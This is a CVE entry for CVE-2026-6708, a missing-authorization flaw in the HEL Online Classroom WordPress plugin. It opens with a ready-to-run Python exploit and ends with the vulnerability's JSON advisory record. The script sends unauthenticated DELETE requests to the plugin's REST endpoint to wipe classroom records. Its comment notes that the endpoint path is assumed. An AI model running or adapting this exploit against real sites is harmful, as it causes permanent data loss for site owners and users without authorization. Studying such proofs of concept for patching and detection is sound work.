CVE-2026-6708

import requests def exploit(target_url, classroom_id): # Construct the API endpoint URL # Assuming the endpoint follows standard WP plugin REST structure based on vulnerability description api_endpoint = f"{target_url}/wp-json/hel-online-classroom/v1/classroom/{classroom_id}" try: # Send unauthenticated DELETE request response = requests.delete(api_endpoint) if response.status_code == 200 or response.status_code == 204: print(f"[+] Success: Classroom {classroom_id} deleted.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL cid = "1" # Replace with target Classroom ID exploit(target, cid)

{"cve": {"id": "CVE-2026-6708", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:56.077", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HEL Online Classroom: AI-powered Online Classrooms plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.3. This is due to a missing capability check on a REST API endpoint registered with a permission_callback of '__return_true', which bypasses all WordPress authentication and authorization checks. This makes it possible for unauthenticated attackers to delete any classroom record by supplying its ID in the request, resulting in permanent data loss."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/hel-online-classroom/tags/1.0.3/hel-online-classroom.php#L398", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hel-online-classroom/tags/1.0.3/hel-online-classroom.php#L605", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hel-online-classroom/trunk/hel-online-classroom.php#L398", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hel-online-classroom/trunk/hel-online-classroom.php#L605", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0612c0be-f1c0-4f74-a769-e4616f103ee6?source=cve", "source": "[email protected]"}]}}